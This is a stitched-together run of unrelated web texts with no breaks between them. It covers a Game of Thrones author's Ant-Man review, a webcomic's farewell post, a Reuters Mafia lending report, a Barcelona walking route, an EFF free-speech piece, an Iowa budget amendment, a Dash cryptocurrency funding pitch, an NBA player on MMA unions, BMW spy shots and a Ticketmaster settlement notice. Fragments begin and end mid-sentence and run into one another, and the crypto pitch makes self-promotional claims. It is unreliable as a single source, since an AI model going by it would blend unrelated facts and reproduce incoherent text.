grapefruit or grapefruit juice drug interactions include: Additional grapefruit juice drug interactions can be researched here. See AlsoWhile many fans probably wish George R.R. Martin was spending every waking minute working on finishing the next Game of Thrones book, the fantasy author took the time to see Ant-Man recently and even wrote a blog post about it. Martin found Peyton Reed‘s tiny superhero, played by Paul Rudd, to be wholly satisfying, and while he doesn’t think it’s the best superhero flick ever like some of the TV spots are touting, he says it ranks high, maybe only coming in second to Sam Raimi’s Spider-Man 2. But despite his praise of the movie, Martin did have some small problems with Ant-Man, and one has to do with the villain. In fact, his issue actually applies to many of Marvel’s villains. Find out more about this George R.R. Martin’s Marvel villains gripe after the jump! Spoilers for Ant-Man ahead, naturally. Before we get to the villain portion, Martin has one other small complaint that I’m sure plenty of fans will agree with, and that’s he wanted to see more of The Wasp. I couldn’t agree more. Martin wrote on his blog (via THR): “Where was the Wasp? We got a few glimpses, and a set up for the next film. But I wanted more Wasp, and I loved the old original Hank/ Janet dynamic (before they got to the wife-beating stuff).” Yes, there was a storyline where Hank Pym beat his wife, but clearly that’s not something Marvel wanted to include in the movie version of Hank Pym. But we definitely could have used more Wasp. Thankfully, one of the credits scenes sets up for The Wasp to return in the future (the film has a subtle hint that the original could return too) with Evangeline Lilly in the suit, and it might be a direct response to fans for more female characters to get in the game too. So that gripe will be fixed in the future. But when it comes to Martin’s quibbles with Marvel villains, he’s just bored by them, and here’s why: “While Yellowjacket makes a decent villain here (in the comics, of course, he was actually one of Hank’s later identities, after Giant-Man and Goliath), I am tired of this Marvel movie trope where the bad guy has the same powers as the hero. The Hulk fought the Abomination, who is just a bad Hulk. Spider-Man fights Venom, who is just a bad Spider-Man. Iron Man fights Ironmonger, a bad Iron Man. Yawn. I want more films where the hero and the villain have wildly different powers. That makes the action much more interesting).” It’s hard to argue with that, though I did find Corey Stoll‘s Darren Cross to be better than some of the other Marvel villains we’ve seen. Though the reason that many Marvel villains have similar powers to their superhero nemeses is because that’s how they were designed for the comic books. Not all villains have the same powers as the hero, but a lot of the more well-known villains do, which is what makes them such a threat to the hero. However, the Marvel universe is big, and there are plenty of villains who don’t have the same powers as the hero’s they’re trying to destroy, and it would be nice to see many more of them pop up in the movies. But beyond that, Marvel just has a problem with developing their villains beyond two-dimensional characters who are bad guys just for the sake of being bad guys. Even when some of them are given proper motivation, it never feels substantial enough to make the villains memorable. Loki (Tom Hiddleston), Ultron (James Spader) and The Winter Soldier (Sebastian Stan) seem to be the best of the bunch when it comes to Marvel villains, with maybe Obadiah Stane (Jeff Bridges) as a distant second (who just becomes a bigger Iron Man in the end). Can you even remember who the villain was in Thor: The Dark World? Sure, some fans know all that information at any given time, but I’ll bet the general audience couldn’t tell you his name. Finally, Martin complimented Ant-Man in being superior to The Avengers: Age of Ultron because the action didn’t overwhelm the plot and characters like the aforementioned sequel (which few would disagree with probably). He writes: “A superhero movie needs a fair share of smashing and bashing and stuff blowing up, of course, but [in my not so humble opinion] that stuff works best when it is happening to people we actually know and care about, and if you jam in too many characters and don’t take time to develop any of them properly, well…” It’s funny hearing the author of Game of Thrones talk about having “too many characters” when there are so many characters in his fantasy books that it’s hard to keep them straight, even on the TV series. But Martin does know how to develop them very well, and hopefully as the Marvel universe continues to grow, they learn to stop overstuffing their movies with as many heroes as possible. It could become a real problem by the time The Avengers 7 rolls around. Do you think Marvel has a problem with creating good villains in their movies?The End. skets on Sept. 21, 2014 Holy shit. I did it. This is the last page of Rasvaar. I honestly didn't think I'd ever see this day. When I started this comic I was 14. (There were about 30 pages where the art was even worse, which I re-did in this slightly better style, haha.) As a teenager I had a lot of trouble with gender and sexuality and making this comic really helped me with that. I also had friends who loved to look through my sketchbook and they were my first audience. Then I uploaded this to the web and the overall response from people made me so happy. I'd been interested in storytelling as a kid and it's my career now as an adult, and Rasvaar was an important part of that. I learnt so much from making this terrible comic. I grew out of this when I started university. And I would have just left it unfinished forever, if not for the occasional messages that I got from people who really loved Rasvaar. I'm honoured to say that I've had messages from people who said that this helped them come out of the closet. To everyone who has ever said a kind word about this comic, or who has reached out to me about Rasvaar; THANK YOU. You are the people who kept this comic alive. It was hard for me to feel moitvated about something that I had out-grown, but any time someone reached out to me, how could I not make a new page or two? Thank you so much for sticking with this comic. I'm so sorry that the updates were sporadic and that I didn't finish this sooner. Originally I was going to give this comic a very obvious ending. Rasvaar would get home and his parents were gonna be all, “Uh yeah, we knew this whole time and we were fine with it, dummy.” Hahaha, the trip was for nothing. But I prefer this ending. The trip wasn't for nothing. It gave Rasvaar the strength to face a pretty tough situation. I'm of the opinion of waiting to come out, if you know that your family will throw you out. Because homelessness in the LGBT community is a big deal. This is something that happens and it sucks. So I'm in no way saying that you should come out into a potentially dangerous situation. Wait until you can support yourself, that is totally fine and valid. But for Rasvaar, the rumor was out and on its way to his parents, so his hand was forced. So yeah. This is it. Again, thank you so much for reading this. Thank you so much for any kind words you sent my way. You have no idea how much it has meant to me. I love you all. xo LexROME (Reuters) - Organized crime has tightened its grip on the Italian economy during the economic crisis, making the Mafia the country’s biggest “bank” and squeezing the life out of thousands of small firms, according to a report on Tuesday. Extortionate lending by criminal groups had become a “national emergency,” said the report by anti-crime group SOS Impresa. Organized crime now generated annual turnover of about 140 billion euros ($178.89 billion) and profits of more than 100 billion euros, it added. “With 65 billion euros in liquidity, the Mafia is Italy’s number one bank,” said a statement from the group, which was set up in Palermo a decade ago to oppose extortion rackets against small business. Organized crime groups like the Sicilian Cosa Nostra, the Naples Camorra or the Calabrian ‘Ndrangheta have long had a stranglehold on the Italian economy, generating profits equivalent to about 7 percent of national output. Extortionate lending had become an increasingly sophisticated and lucrative source of income, alongside drug trafficking, arms smuggling, prostitution, gambling and racketeering, the report said. “The classic neighborhood or street loan shark is on the way out, giving way to organized loan-sharking that is well connected with professional circles and operates with the connivance of high-level professionals,” the report said. It estimated about 200,000 businesses were tied to extortionate lenders and tens of thousands of jobs had been lost as a result. EXTORTION WITH A CLEAN FACE Old style gangsters handing out cash in bars and pool halls had been replaced by apparently respectable bankers, lawyers or notaries, the report said. “This is extortion with a clean face,” it added. “Through their professions, they know the mechanisms of the legal credit market and they often know the financial position of their victims perfectly.” Small businesses, who have struggled to get hold of credit during the economic slowdown, may have been increasingly tempted to turn to the mafia, said the report. Typical victims of extortionate lending were middle-aged shopkeepers and small businessmen who would struggle to find a new job and who were ready to try anything to avoid bankruptcy, it added. “They are usually people in traditional retail sectors like food, greengrocers, clothes or shoe shops, florists or furniture shops. These are the categories which, more than any other, are paying the price of the (economic) crisis,” it said. According to a separate report this week from small business association CNA, 56 percent of companies had seen banks tighten their lending requirements in the past three months. ($1 = 0.7826 euros)Continue to walk and appreciate the view, after some minutes you will hit Plaça Catalunya, a square with a fountain and some convenient stores around it (have a look!). You can walk through the square diagonally to arrive at our next destiny. La Rambla By Bicloch — Own work, CC BY 3.0 This is one of the most famous streets in Barcelona among both tourists and locals. Continue to walk in the same direction and soon you will see La Boqueria, a market with some fresh juices and tasty snacks since you will be probably hungry by now take your time and try some tapas. By The original uploader was Forbfruit at German Wikipedia — Transferred from de.wikipedia to Commons., CC BY-SA 3.0 Gothic Quarter By Llull — http://www.flickr.com/photo_zoom.gne?id=14973110&size=o, CC BY-SA 2.0 After a while walking in the same direction, turn left on Carrer de La Boqueria, this is where the walking tour starts. Turn right on Carrer d’Avinyó and then left on Carrer de Cervantes (this very same street turns into “Carrer dels Templers”). At this point you are at the heart of the Gothic Quarter, take a moment to look around and reflect that this part of the city started to be built during medieval times! Turn left on Carrer de la Ciutat (which turns into Carrer del Regomir) and then left again onCarrer d’en Gignàs that later becomes Carrer d’Angel J Baixeras and Carrer de Joan Massana (streets can never complain about the lack of names here). Turn left in Carrer de la Nau and then on Carrer dels Abaixadors (it is easy to miss this alley if you don’t pay attention). Santa Maria del Mar By Jiuguang Wang — Own work, CC BY-SA 3.0 es At the end of this street, there is the high point of the gothic quarter, The church of Santa Maria del Mar is a 14th-century building that contrasts its surroundings with the interior. I suggest you look around the church and then enter to compare (no more spoilers, I promise). Back to the streets, come back to Carrer dels Abaixadors and continue to go in the same direction, and turn right on “Placeta de Montcada” and then left on Passeig del Born and just go straight ahead. We are going to see a unique historical part of Barcelona (and again, for free!) El Born De Canaan — Trabajo propio, CC BY-SA 3.0 By the end of Passeig del Born, you will see the El born centre cultural. A metal structure that looks like an old train station is where you should go. El Born is a former market where, after some restoration, it was found some ruins dating back to the Spanish Succession war (LOL). An event that took place around 1701 and 1714. There is not a lot of things to see here but it is a good stop since our next destiny is nearby. Parc de la Ciutadella De Canaan — Trabajo propio, CC BY-SA 3.0 Go out using the exit on Carrer de la Fusina towards the Passeig the Picasso avenue, you can see the avenue from El born. After crossing this avenue you will get to parc de la ciutadella, a gigantic park where you can take a little break from the walk while enjoying some nice views. Cross the avenue and go left and you will get to the entrance. The park is pretty big, so I will give you suggestion on what you might like to see there: The Cacada Monumental and Als Voluntaris Catalans fountains, the Zoo, the Umbracle Tropical greenhouse and Hivernacle garden. After all of this you might be hungry, can’t give you an advice on where to eat for free, but will get you to a quite nice restaurant for very little cash Go back to the entrance of this park and walk straight ahead on Carrer de la Princesa and turn into Carrers dels Assaonadors (it is more like an alley than a street at first). Go straight until the very end and turn right at Placeta d’en Marcus, right again on Carrer dels Carders, left on Carrer d’en Giralt el Pellicer, and we arrived! Bar Joan Bar Joan is just at the beginning of this street, don’t be fooled by its humble surroundings, the restaurant offers a great meal for a very good price (eleven euros for the menu of the day).Online harassment is a serious problem. As we’ve repeatedly explained in the past, laws that address it must be carefully written to protect people from the real harms caused by online harassment, without unduly restricting free speech or invading people’s privacy. Unfortunately, Washington state enacted a criminal cyber-stalking statute that threatens its citizens with prosecution and incarceration for innocent online speech protected by the First Amendment. Specifically, the law prohibits broadly-defined “electronic communications” intended to “embarrass” someone (or torment, harass or intimidate them) that are made anonymously or repeatedly or include a four-letter word (or is threatening or obscene). This law criminalizes a wide range of Internet communications that enjoy the fullest protection of the First Amendment. Here’s a few examples of protected speech that would run afoul of the law: A newspaper might publish on its website two editorials arguing that an elected official should be embarrassed because of their misconduct. A government reform activist might publish on YouTube a video recording of government malfeasance, and then send a text message to the wrongdoer’s boss that identifies the post and uses a four-letter word, to embarrass the wrongdoer and the boss, and thus encourage reform. An election challenger might twice publish on their website lists of the incumbent’s controversial votes, to embarrass their opponent into withdrawing from the race. A former member of a religious congregation, after reading a digital news article about it, might anonymously post in the article’s public comment section a criticism of the congregation’s liturgy, to embarrass the spiritual leader into changing the liturgy. A restaurant customer might anonymously publish on Yelp a negative review, hoping embarrassment will spur the owner to improve the restaurant. EFF actively opposes such overbroad anti-harassment laws that criminalize protected free speech on the Internet. We filed amicus briefs asking courts to strike down such overbroad laws in 2011 and 2012. The power of courts to overturn flawed laws on their face is a critical protection of our constitutional rights to free speech and privacy, as we have explained. EFF
will all depend on how recovery goes. It seems like he is working very hard to get back and I am optimistic after hearing him that he will be back in time for Wrestlemania season. Maybe he is throwing out Wrestlemania as a way to surprise fans when he returns sooner? Let us know what you think in the comment section below. When would you like to see him return? Who would you like him to face at Wrestlemania?Buy Photo The Iowa Capitol in Des Moines (Photo: William Petroski/Des Moines Register)Buy Photo Iowa Senate Republicans, who have pushed this session for fiscal constraints and more efficient government, are proposing an amendment to the Iowa Constitution aimed a permanently putting limits on state spending. Senate Joint Resolution 9 was introduced this week, co-sponsored by all 29 Senate Republican lawmakers. The resolution says the limitation would be the lesser of 99 percent of the adjusted revenue estimate for the state's general fund for the following fiscal year or 104 percent of the net revenue estimate for the current fiscal year. Under current Iowa law, the Legislature is required to abide by a 99 percent spending limitation, but lawmakers have the ability to change the law and spend more than 99 percent, said Senate President Jack Whitver, R-Ankeny. "This is a priority of ours and we hope to get it done," Whitver said. Jack Whitver (Photo: Special To The Register) Senate Majority Leader Bill Dix, R-Shell Rock, told The Des Moines Register Thursday he anticipates a Senate vote to advance the measure later this session. House approval of the resolution would also be required and Dix said he has made House Republican leaders aware of the Senate's plans. However, Rep. Pat Grassley, R-New Hartford, who chairs the House Appropriations Committee, said Thursday the issue has not been discussed among House Republicans. Changes to the Iowa Constitution must be approved by the House and Senate in two consecutive General Assemblies. That means that if lawmakers approve the resolution this year or next year, it must be approved again by both chambers after the 2018 election. So the earliest the proposed constitutional amendment could be placed on the ballot for Iowa voters would be the November 2020 election, according to Secretary of the Senate Charles Smithson. Sen. Robert Dvorsky, D-Coralville, the ranking Democrat on the Senate Justice Appropriations Subcommittee, said the 99 percent spending limit has been part of Iowa law since the 1990s and he supports it. But he questions the idea of placing the limit in the Iowa Constitution, saying Republicans "are just making a political statement." "The 99 percent rule allows us to build up a rainy day fund and it has worked really well. I think if you put it in the Constiutiton and if you have a disaster or something befall the state, it will be a major major problem to deal with it," Dvorsky said. NEWSLETTERS Get the Breaking News Alert newsletter delivered to your inbox We're sorry, but something went wrong Alerts on breaking news delivered straight to your inbox. Please try again soon, or contact Customer Service at 1-877-424-0225. Delivery: Varies Invalid email address Thank you! You're almost signed up for Breaking News Alert Keep an eye out for an email to confirm your newsletter registration. More newsletters Reporter Brianne Pfannenstiel contributed to this story. Read or Share this story: http://dmreg.co/2mpws16Hong Kong Seoul, South Korea London, UK New Hampshire, USA Boston, USA Cancún, Mexico Cork, Ireland Dublin, Ireland Rome, Italy Berlin, Germany Boomtown, Winchester, UK (60,000 capacity) Body & Soul, Ireland (15,000 capacity) Reno Air Race Championships, NV (200,000 capacity) Porcfest, New Hampshire, US (2,200 capacity) Atlantic Songbook, Ireland (potentially 10.5 million people using Festy over 9 months according to Irish tourism statistics in 2016 - 2017 was even higher) St. Patrick’s Day Festivals Globally ($5.3 billion is estimated to have been spent during the 2017 festival) Deichbrand, Germany (50,000 capacity) Wacken, Germany (75,000 capacity) Rock Am Ring, Germany (75,000 capacity) Electric Picnic, Ireland (55,000 capacity) Development Budget for Bitcart Finalization and release of the Bitcart Public API : €7,000 Finalization of Bitcart UX/UI : €5,500 Automatic validation of Gift-card Codes : €4,500 Redesign and simplification of the purchasing process : €7,000 Development Budget for Festy Maintenance of current junior developers salary for 3 months: €15,000 Budget to recruit and hire new full-time developers for 6 months: €125,000 Wristbands & cards (design and printing) -> €5,000 New wristbands and cards x 10,000 units Dash-branded ATMs for the 10 locations -> €80,000 Dash ATMs x10 units POS Systems, NFC readers and devices for integrations -> €5,000 Enough hardware for 10 locations and beta testing Installation, travel and launch events for each location -> €15,000 We contact a bar in our network for integrating Festy We deliver the NFC reader/ ATM and app for them to download A minimum of two members of the team will fly to the location and we will run a launch event, which acts as a training for staff and also good marketing for Festy. We follow up with calls and emails throughout the beta period, providing support for merchants. Following beta, we launch our first line of products in these locations. EuroAmerican Cannabis Business Conference & Cannafest Sponsorship: €8,000 Travel & Accommodation to Cannafest: €2,000 Promotional Merchandise for use at events ie stickers, beer mats, giveaways. Staff / Representative uniforms for use at events. Information packs for Merchants and consumers. Social media promoted posting. Photo and videography for event documentation and website. Please see our new proposal, split into 3 months:https://www.dashcentral.org/p/Bitcart-and-Festy-Development-RoadmapScaling up Bitcart & Festy1,201 Dash3 - 6 monthsBitcart and Festy are two flagship companies within Opera Incubator that are entirely focused on expanding the utility of Dash among everyday people and everyday businesses. In our experience persuading real business owners of the merits of decentralised finance, Dash has emerged as the only truly viable digital currency for everyday merchants as it carries none of the negative connotations associated with Bitcoin while being a fast, scalable and reliable system with negligible transaction fees.Dash has the capability of revolutionising day to day business as we know it and we are committed to developing technologies and businesses that help in achieving this goal. We want to make it possible for the Dash community to live 100% in Dash, through shopping online for goods on Amazon using Bitcart and making payments in all aspects of their day to day life, from retail and festivals to transit and tourism, using Festy.Having achieved a consecutive $100,000 trading on Bitcart each month exclusively in Dash since our integration earlier this year, the team recently made a proposal to the Dash community to fund an advertising & marketing campaign in South Korea. Shortly after the proposal passed, CEO Graham de Barra and Creative Director Martin Kelly travelled to Seoul to put the proposal into action. The market research conducted on this trip was invaluable to understanding the cultural appropriation for entering into the advertising space in South Korea. We began successful negotiations with Bithumb - the largest cryptocurrency exchange in the world (approx $1 billion traded daily) - and we are planning an advertising campaign on the Bithumb website and social media. This meeting paved the way for a successful partnership that will lead to an exponential increase in Dash adoption and traffic on the Bitcart website. In adhering to the principle of under-promise and over deliver, the team were responsible for Bithumb’s sister exchange in Singapore, Bitholic, beginning the process of integrating Dash on their platform. The return trip to Seoul is currently being organised to secure the deal.Less than a fortnight ago, the team at Opera Incubator successfully forged an official partnership for Festy with Irish Pubs Global - an intercontinental federation of Irish pubs, distilleries and industry leading drinks companies that comprises of 9,500 members. Our recent proposal to the Dash community enabled Festy to secure the headline sponsorship package at the IPG Awards in Dublin where we executed a demonstration of our POS system, wearable wristbands and contactless cards by processing close to 500 payments in Dash at the bar during the event. The response from the pub owners and service providers in attendance was overwhelming and we are now in the process of rolling out a 12 month marketing plan with IPG to secure these 7,000 pubs as clients. We hope to begin full retail installations in Q1 of 2018. At the IPG event we were approached by the CEO of Bizimply who is also from Cork and wants Festy to partner with them allowing us entry into 3,500 locations separate to the IPG network.On top of this, Darren Dineen - Director of Business Development - has formed a close relationship with Richard Tierney, former Head of Marketing for Aiken Promotions, Head of Marketing Partnerships for LiveNation and former Managing Director and Owner of Ten Ltd, while working on a decentralised record label and management agency last year. Richard has taken a huge interest in Festy and has offered to assist in the acquisition of the contracts for the major venues he has worked with including the 02 Arena (20,000 capacity) and the RDS in Dublin (18,500) as well as Live at the Marquee (5,000 capacity) in Cork to name but a few.This would mean that Festy would be the main payment processor for all of the concerts that take place in these venues that have played host to every major recording artist you can think of thousands of people each night! We are not just exposing Dash and Festy to an incalculable amount of consumers attending these concerts, but actually allowing these people to use Dash instead of the Euro!Furthermore, the longest running music and culture festival in the world is being launched next year called Atlantic Songbook. It is a heritage pub trail along the West Coast of Ireland - the famous Wild Atlantic Way - which will run from March - October, 2018 and beyond. Festy have been approached by the founders of this festival to be an official partner, shareholders and the payment processor for each business on the trail. Crypto tourism has come to Irish shores and Dash can be the currency that unites the Irish diaspora from overseas with the natives here on the Emerald Isle!This level of demand for Bitcart and Festy requires a full team of highly skilled developers in order to scale effectively. With a team of 6 developers both part-time and full-time split between these two projects it is currently not possible to realise our wider vision for the mass adoption of Dash.As our strategic business partners, we hope the Dash community will help us to acquire the resources and materials we need to take Bitcart and Festy to the global marketplace and capitalise on all of these developments. We believe we have shown what we can accomplish with a slim budget, and therefore feel we are justifiably taking the logical next step in asking for a larger sum this time around.Find our Trello roadmap for Bitcart which outlines a clear and transparent route for achieving our immediate goals in the next 12 months. Click here for a more detailed roadmap for Bitcart and Festy With a strong belief in the importance of education, we are currently training talented developers to fulfill the role of blockchain development and this requires a lot of time and energy. If we want to satisfy the current demand, then we must hire experienced developers immediately to give us a firm ground on which to rest our foundation for future development.To improve user experience it requires developing a fully functional and futureproof website for Bitcart that can sustain major traffic. By improving our codebase we will clean up the current system bugs and refine the UX significantly. This will allow an automated service that will build customer confidence and trust in sending their Dash without facing order delays. In addition we are hiring a new customer service agent to run a Live Chat during set hours which will better satisfy customers queries. This major update will be instrumental for Bitcart’s success and hugely beneficial for Dash.Recent major developments for Festy have created the urgency for a committed and refined strategic business partnership with Dash. We have carefully selected 10 locations to integrate Festy as a priority. These areas have been chosen due to predicted traffic and better adoption of comparable technologies from our market research.Retail (Pubs, Cafés and Restaurants)We also have existing business relationships with Irish pub owners in these locations as a result our successful sponsorship of Irish Pubs Global which you can read about here. Within three months it will be possible spend your Dash in specific establishments in the following locations:Imagine a time when it will be possible to travel to these locations and use Dash for efficient tourism! No more dealing with massive fees from ATMs and converting from dollars to euros - let’s go from a ‘Cash is King’ paradigm to a ‘DASH is KING’ paradigm. We have strategically made these relationships with Irish bars in order to get us setup with a base in these locations and tap into local contacts to spread Dash among the tourism industry. Festivals and conferences have already been added to our list and contractual agreements will secure Festy as a payment processor at these events.When a bar integrates our beta POS system, we will launch a Dash/Festy event on the night for the Dash community and locals. We will supply top quality music through our many contacts in the music industry and make these launch parties a night to remember. This will be pivotal to training the staff and interviewing the pub owner for endorsing our products. These will go out on the Dash social media and Dash Force News. The bar will be able to announce their loyalty card programs that have been made possible by Festy and will only apply when Festy is used for payments. This will lead to huge adoption rates of Festy as a payment processor and massive increases in the usage of Dash as a currency.Customers will be able to purchase Dash at these 10 locations using Dash branded ATMs which will be acquired as part of this proposal. People can put cash into the ATM, tap their wristband/card on the NFC reader and top-up with Dash. Customers can then start paying their bills with a simple tap! We will brand the ATMs with the flag companies of Dash including Dash Force News and Dash Force One graphics.These bars will give us essential feedback on usability of our products to help us prepare for full-launch. Given 2-months of development and 1-month to test our systems, this development will propel us into the the market for bringing Dash to everyday merchants all over the world!Following our integrations in these locations, we will then begin the process of integrating Festy in the following festivals for the upcoming 2018 season. This list includes but is not limited to:We have been approached to facilitate payments and be the headline sponsor at the largest cannabis trade show in the world - Cannafest - which takes place in the Czech Republic from the 10th-12th November 2017. Graham has been asked to be a keynote speaker at this event also. On the 8th and 9th November, the first international B2B conference - The EuroAmerican Cannabis Business Conference - is also taking place in Prague and is linked with Cannafest. Festy have the opportunity to sponsor this event too and Darren has been asked to be a keynote speaker for this conference.Full details of the sponsorship packages can be seen here:The budget intends to satisfy the costs of scaling Bitcart and Festy to bring them into the next phase of development and significantly improve each service.Development breakdownTotal: €20,0003 - 6 months working with a new fully equipped development team will align perfectly to ensure Festy are fully prepped and ready for the festival season which begins in March 2018, enabling us to fulfill our dream of bringing Dash and Festy to major festivals all around the world.Total: €140,000Total: €105,000Total: €18,000Total: €15,000Festy Headlines Irish Pub GlobalIrish Pubs Global AwardsThe Festy Experience at Irish Pubs Global Awards 2017St. Patrick’s Day Market ResearchFesty Introduce Dash Network to 7,000 Irish PubsDeron Williams has a unique perspective on the possibility of a UFC fighters union. Williams, who plays for the Cleveland Cavaliers, is a member and major proponent of the NBA Players Association (NBAPA). He’s also a longtime UFC fan. And now he’s closer than ever to the sport of mixed martial arts as the co-owner of Fortis MMA in Dallas. In viewing the fighters who train at his gym, Williams sees what he describes as a a high-risk-and-low-reward situation. He sees fighters who are “putting in a lot of work — blood, sweat and tears — for very little money,” Williams told Ariel Helwani on Monday’s edition of The MMA Hour. “It’s just tough on them,” Williams said. “You talk about the UFC, it’s not like basketball. We have a players union that’s fighting for us and helping us better our contracts and things like that. These guys are kind of just on their own and it’s whatever [the UFC says] goes. So, it’s a tough situation.” Recent attempts to start a fighters union have been futile and associations have had a hard time gaining a foothold as well. The MMA Fighters Association (MMAFA), which has been around since 2008, has had the most success, spearheading an antitrust lawsuit against the UFC that is currently in litigation. Talk of some kind of organization of fighters hit a fever pitch when the Fertitta brothers sold the UFC to WME-IMG for more than $4 billion last summer, but have cooled down since then. While NBA players see an increase in salaries when the league signs a new broadcast deal — as mandated by the collective-bargaining agreement with the NBAPA — UFC fighters don’t get a percentage of the promotion’s broadcast money. And that money is likely to expand exponentially when the UFC’s deal with Fox is up next year. “I don’t know what’ll happen,” Williams said. “I think there’s definitely some changes need to be made, because it’s kind of taking a lot of money out of their pockets the way things are going. It’s working for the UFC, obviously. The business model is working. I don’t know.” Williams has been a fan of the UFC for years and has been training in MMA himself, too. Williams said he has trained on and off for about four years, but has really gotten into it in the last 18 months, especially Brazilian jiu-jitsu. He trains with his coach and partner Sayif Saud at Fortis MMA, with Rob Handley in Utah and with UFC veterans Josh Burkman and Steven Siler, too. Williams said he’s usually in the gym three to four times per week in the offseason. When his NBA career is over, Williams said he’d love to compete in jiu-jitsu competitions. He is, after all, a former wrestling youth state champion in Texas. “I’m gonna do some jits tournaments, for sure,” Williams said. … “I’ll probably have to [after retirement]. It’ll probably be the smartest thing to do.” Right now, Williams has plenty on his plate. The 12-year NBA veteran is the backup point guard for the Cavaliers, who are currently in the NBA Eastern Conference finals. Williams is a three-time NBA All-Star and two-time Olympic gold medalist. Still, if a basketball game comes on at the same time as an MMA fight, Williams will choose MMA every time. He said he watches every UFC card, from Fight Pass prelims to the main event. Williams calls his favorite fighter Jon Jones, but since he has been inactive Demetrious Johnson is Williams’ second choice. “Jon Jones was my favorite fighter,” Williams said. “He hasn’t fought in two years, it’s hard to say somebody that’s not out there. But I love watching Mighty Mouse. He’s amazing. He’s just so technical. He’s great standup, wrestling, he’s slick on his back. He can do it all. “Not a lot people like the 125ers. There’s not a lot of knockouts, to be honest. But watching him and what he does, it’s so crazy. He’s so patient, he’s so smart.” Williams, 32, is definitely a student of MMA. And he’s got a stake in it now, too. He’s not sure if there will ever be a union like NBA players have, but he’ll surely be keeping a close eye on the developments. “I know guys have talked about it,” Williams said. “You’ve seen fighters talk about it in the past. It seems like when they talk about it, they end up in Bellator.”After months and months of waiting, we’re finally close to the official reveal of the new 2018 BMW F90 M5. Our latest spy shots show a prototype doing some high-speed testing, marking also the first time we get to see the aggressive design of the front bumper more clearly. The new Bavarian super-sport sedan will benefit from the adoption of the lighter CLAR platform that mixes high-strength steel, aluminum and magnesium, which is always good news if you consider that the last M5 carried a lot of weight around. The rest of the bodywork remains faithful to the latest trends set by BMW M and features things like fatter side sills, wider fenders (at least the front ones), new bumpers, a subtle lip on the trunk and a carbon roof for a lower center of gravity. Just like its arch-nemesis, the Mercedes-AMG E63, the new 2018 BMW M5 will be offered for the first time with all-wheel drive as standard, aiming to make the car much more usable, especially in colder climates. Purists however will not be denied the rear-driven thrills of an M5 as BMW will also add a mode that disengages the front axle for maximum hooning purposes. The twin-turbo 4.4-litre V8 will continue to offer its services under the bonnet, only now it will do so with over 600hp. The latest reports suggest that the new BMW M5 will be capable of a 0-62mph in less than 3.6 seconds. BMW will not brand the M5’s all-wheel drive as xDrive, as the system is expected to feature a lot of differences. As for when we’re going to see the new 2018 F90 M5 for the first time, BMW is expected to make the model’s public debut at the Frankfurt Motor Show this September. Photo Credits: CarPix for CarScoops PHOTO GALLERYHironobu Sakaguchi, best known as the creator of Final Fantasy, and Kimihiko Fujisaka, video game character designer/ artist, will be joining the AX 2017 Guest of Honor line-up! Both Sakaguchi and Fujisaka will be participating in a panel, as well as autograph sessions throughout the weekend (schedule TBA). About Hironobu Sakaguchi Sakaguchi is the father of one of the greatest role-playing game franchises of our era, Final Fantasy, which has topped 100 million units worldwide. Since forming his studio Mistwalker Corporation, Sakaguchi has developed “Blue Dragon,” “Lost Odyssey,” “The Last Story,” and “Terra Battle.” Endearingly called “Hige (Moustache),” by his colleagues and fans, he hasn’t stopped building new ideas and concepts. Recognized for his work globally, he is also the recipient of the Hall of Fame Award from the Academy of Interactive Arts and Sciences (2000) and the Lifetime Achievement Award from GDC (2015). About Kimihiko Fujisaka Fujisaka started his career at a video game company straight out of graduate school, where he studied industrial design. With several successful games under his belt, he is now Mistwalker’s lead artist and designer. He has designed several iconic characters and worlds, including that from “Drakengard,” “The Last Story,” “Bakumatsu Rock” and “Terra Battle.” The intricate yet grand world-settings Fujisaka creates has attracted thousands of fans around the world. Anime Expo will run from July 1 through July 4, 2017 at the Los Angeles Convention Center. To purchase passes for Anime Expo, please visit http://www.anime-expo.org/registration/Have you used Ticketmaster in the last 12 years? If so, you can file a claim to receive a share of a long-awaited class action settlement with Ticketmaster for charging excessive and deceptive processing fees. The Ticketmaster settlement will resolve a class action lawsuit, entitled Curt Schlesinger, et al. v. Ticketmaster, that alleges Ticketmaster’s Order Processing Fees and UPS Expedited Delivery prices of tickets are excessive and deceptive. The Ticketmaster class action lawsuit claims the company deceived and misled customers into believing that its Order Processing Fee was a pass-through of the amount that UPS charged Ticketmaster for that delivery when it was actually a profit generator for Ticketmaster. The Ticketmaster class action lawsuit also asserts that Ticketmaster’s UPS delivery charges are excessive and deceptive. Ticketmaster denies any wrongdoing but has agreed to settle the case to avoid ongoing litigation. The Ticketmaster class action settlement includes all U.S. residents who purchased tickets on Ticketmaster.com between October 21, 1999 and October 19, 2011 and paid money to Ticketmaster for an Order Processing Fee (OPF) that was not refunded. It also includes a subclass of all Class Members who paid a delivery price for expedited delivery for their tickets via UPS. The Ticketmaster fee settlement will provide discount codes that can be used for future purchases for U.S. events from Ticketmaster.com. For each transaction you made during the Class Period, you will receive one discount code via email for a $1.50 discount, up to a maximum of 17 codes. The codes may be combined up to a maximum of two credits ($3.00). Class Members who also fall under the UPS Subclass will also receive one UPS code for $5.00 off expedited delivery fees on purchases from Ticektmaster.com for each transaction they made using UPS delivery of their tickets during the Class Period, up to 17 transactions. All Class Members will automatically receive these benefits from the Ticketmaster fee class action settlement via email at the addresses associated with their Ticketmaster account if the settlement is approved at the May 29, 2012 Final Approval Hearing. If you have not received a Ticketmaster Class Action Settlement email yet and believe you are a Class Member, contact the Settlement Administrator at ticketfeelitigation@gcginc.com to update your email address. The deadline to opt out of the Ticketmaster settlement is February 16, 2012. More information on your rights in the Ticketmaster Fee Class Action Lawsuit Settlement can be found at www.TicketFeeLitigation.com. UPDATE: Details about the Ticketmaster class action settlement are available here. UPDATE 2: On June 19, 2016, Top Class Actions readers who submitted timely and valid claims for the Ticketmaster settlement began receiving ticket codes for concert events. We tell you about cash you can claim EVERY WEEK! Sign up for our free newsletter. Email * State * State Alabama Alaska Arizona Arkansas California Colorado Connecticut Delaware District of Columbia Florida Georgia Hawaii Idaho Illinois Indiana Iowa Kansas Kentucky Louisiana Maine Maryland Massachusetts Michigan Minnesota Mississippi Missouri Montana Nebraska Nevada New Hampshire New Jersey New Mexico New York North Carolina North Dakota Ohio Oklahoma Oregon Pennsylvania Rhode Island South Carolina South Dakota Tennessee Texas Utah Vermont Virginia Washington West Virginia Wisconsin Wyoming Armed Forces Americas Armed Forces Europe Armed Forces Pacific SUBSCRIBE This iframe contains the logic required to handle Ajax powered Gravity Forms. ATTORNEY ADVERTISING Top Class Actions is a Proud Member of the American Bar Association LEGAL INFORMATION IS NOT LEGAL ADVICE Top Class Actions Legal Statement ©2008 – 2019 Top Class 